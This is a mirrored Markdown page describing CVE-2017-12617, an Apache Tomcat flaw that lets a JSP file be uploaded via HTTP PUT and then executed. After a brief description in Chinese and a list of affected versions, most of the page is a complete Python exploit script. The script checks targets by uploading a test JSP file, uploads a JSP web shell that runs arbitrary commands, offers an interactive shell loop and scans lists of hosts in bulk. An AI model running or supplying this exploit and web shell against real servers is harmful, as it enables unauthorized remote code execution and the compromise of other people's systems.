mirror of
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262 lines
6.8 KiB
Markdown
262 lines
6.8 KiB
Markdown
# Apache Tomcat RCE via JSP Upload Bypass CVE-2017-12617
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## 漏洞描述
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Apache Tomcat版本9.0.0.M1至9.0.0、8.5.0至8.5.22、8.0.0.RC1至8.0.46和7.0.0至7.0.81且启用HTTP PUT时（例如，通过设置只读如果将Default servlet的初始化参数设置为false，则可以通过特制请求将JSP文件上载到服务器。然后可以请求此JSP，并且服务器将执行其中包含的所有代码。
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## 漏洞影响
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```
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Apache Tomcat版本9.0.0.M1至9.0.0
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Apache Tomcat版本8.5.0至8.5.22
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Apache Tomcat版本8.0.0.RC1至8.0.46
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Apache Tomcat版本7.0.0至7.0.81
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```
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## 漏洞EXP
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```python
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#!/usr/bin/python
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# From https://github.com/cyberheartmi9/CVE-2017-12617/blob/master/tomcat-cve-2017-12617.py
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"""
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./cve-2017-12617.py [options]
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options:
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-u ,--url [::] check target url if it's vulnerable
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-p,--pwn [::] generate webshell and upload it
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-l,--list [::] hosts list
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[+]usage:
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./cve-2017-12617.py -u http://127.0.0.1
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./cve-2017-12617.py --url http://127.0.0.1
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./cve-2017-12617.py -u http://127.0.0.1 -p pwn
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./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
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./cve-2017-12617.py -l hotsts.txt
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./cve-2017-12617.py --list hosts.txt
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"""
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from __future__ import print_function
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from builtins import input
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from builtins import str
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from builtins import object
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import requests
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import re
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import signal
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from optparse import OptionParser
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class bcolors(object):
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HEADER = '\033[95m'
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OKBLUE = '\033[94m'
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OKGREEN = '\033[92m'
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WARNING = '\033[93m'
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FAIL = '\033[91m'
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ENDC = '\033[0m'
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BOLD = '\033[1m'
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UNDERLINE = '\033[4m'
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banner="""
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_______ ________ ___ ___ __ ______ __ ___ __ __ ______
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/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
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| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
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| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
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| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
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\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
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[@intx0x80]
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"""
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def signal_handler(signal, frame):
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print ("\033[91m"+"\n[-] Exiting"+"\033[0m")
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exit()
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signal.signal(signal.SIGINT, signal_handler)
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def removetags(tags):
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remove = re.compile('<.*?>')
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txt = re.sub(remove, '\n', tags)
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return txt.replace("\n\n\n","\n")
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def getContent(url,f):
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headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
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re=requests.get(str(url)+"/"+str(f), headers=headers)
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return re.content
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def createPayload(url,f):
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evil='<% out.println("AAAAAAAAAAAAAAAAAAAAAAAAAAAAA");%>'
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headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
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req=requests.put(str(url)+str(f)+"/",data=evil, headers=headers)
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if req.status_code==201:
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print("File Created ..")
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def RCE(url,f):
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EVIL="""<FORM METHOD=GET ACTION='{}'>""".format(f)+"""
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<INPUT name='cmd' type=text>
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<INPUT type=submit value='Run'>
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</FORM>
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<%@ page import="java.io.*" %>
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<%
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String cmd = request.getParameter("cmd");
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String output = "";
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if(cmd != null) {
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String s = null;
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try {
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Process p = Runtime.getRuntime().exec(cmd,null,null);
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BufferedReader sI = new BufferedReader(new
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InputStreamReader(p.getInputStream()));
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while((s = sI.readLine()) != null) { output += s+"</br>"; }
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} catch(IOException e) { e.printStackTrace(); }
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}
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%>
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<pre><%=output %></pre>"""
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headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
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req=requests.put(str(url)+f+"/",data=EVIL, headers=headers)
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def shell(url,f):
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while True:
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headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
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cmd=input("$ ")
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payload={'cmd':cmd}
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if cmd=="q" or cmd=="Q":
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break
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re=requests.get(str(url)+"/"+str(f),params=payload,headers=headers)
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re=str(re.content)
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t=removetags(re)
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print(t)
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#print bcolors.HEADER+ banner+bcolors.ENDC
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parse=OptionParser(
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bcolors.HEADER+"""
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_______ ________ ___ ___ __ ______ __ ___ __ __ ______
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/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
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| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
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| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
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| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
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\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
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./cve-2017-12617.py [options]
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options:
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-u ,--url [::] check target url if it's vulnerable
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-p,--pwn [::] generate webshell and upload it
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-l,--list [::] hosts list
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[+]usage:
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./cve-2017-12617.py -u http://127.0.0.1
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./cve-2017-12617.py --url http://127.0.0.1
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./cve-2017-12617.py -u http://127.0.0.1 -p pwn
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./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
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./cve-2017-12617.py -l hotsts.txt
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./cve-2017-12617.py --list hosts.txt
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[@intx0x80]
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"""+bcolors.ENDC
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)
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parse.add_option("-u","--url",dest="U",type="string",help="Website Url")
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parse.add_option("-p","--pwn",dest="P",type="string",help="generate webshell and upload it")
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parse.add_option("-l","--list",dest="L",type="string",help="hosts File")
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(opt,args)=parse.parse_args()
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if opt.U==None and opt.P==None and opt.L==None:
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print(parse.usage)
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exit(0)
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else:
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if opt.U!=None and opt.P==None and opt.L==None:
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print(bcolors.OKGREEN+banner+bcolors.ENDC)
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url=str(opt.U)
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checker="Poc.jsp"
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print(bcolors.BOLD +"Poc Filename {}".format(checker))
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createPayload(str(url)+"/",checker)
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con=getContent(str(url)+"/",checker)
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if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
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print(bcolors.WARNING+url+' it\'s Vulnerable to CVE-2017-12617'+bcolors.ENDC)
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print(bcolors.WARNING+url+"/"+checker+bcolors.ENDC)
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else:
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print('Not Vulnerable to CVE-2017-12617 ')
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elif opt.P!=None and opt.U!=None and opt.L==None:
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print(bcolors.OKGREEN+banner+bcolors.ENDC)
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pwn=str(opt.P)
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url=str(opt.U)
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print("Uploading Webshell .....")
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pwn=pwn+".jsp"
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RCE(str(url)+"/",pwn)
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shell(str(url),pwn)
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elif opt.L!=None and opt.P==None and opt.U==None:
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print(bcolors.OKGREEN+banner+bcolors.ENDC)
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w=str(opt.L)
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f=open(w,"r")
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print("Scaning hosts in {}".format(w))
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checker="Poc.jsp"
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for i in f.readlines():
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i=i.strip("\n")
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createPayload(str(i)+"/",checker)
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con=getContent(str(i)+"/",checker)
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if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
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print(str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m")
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```
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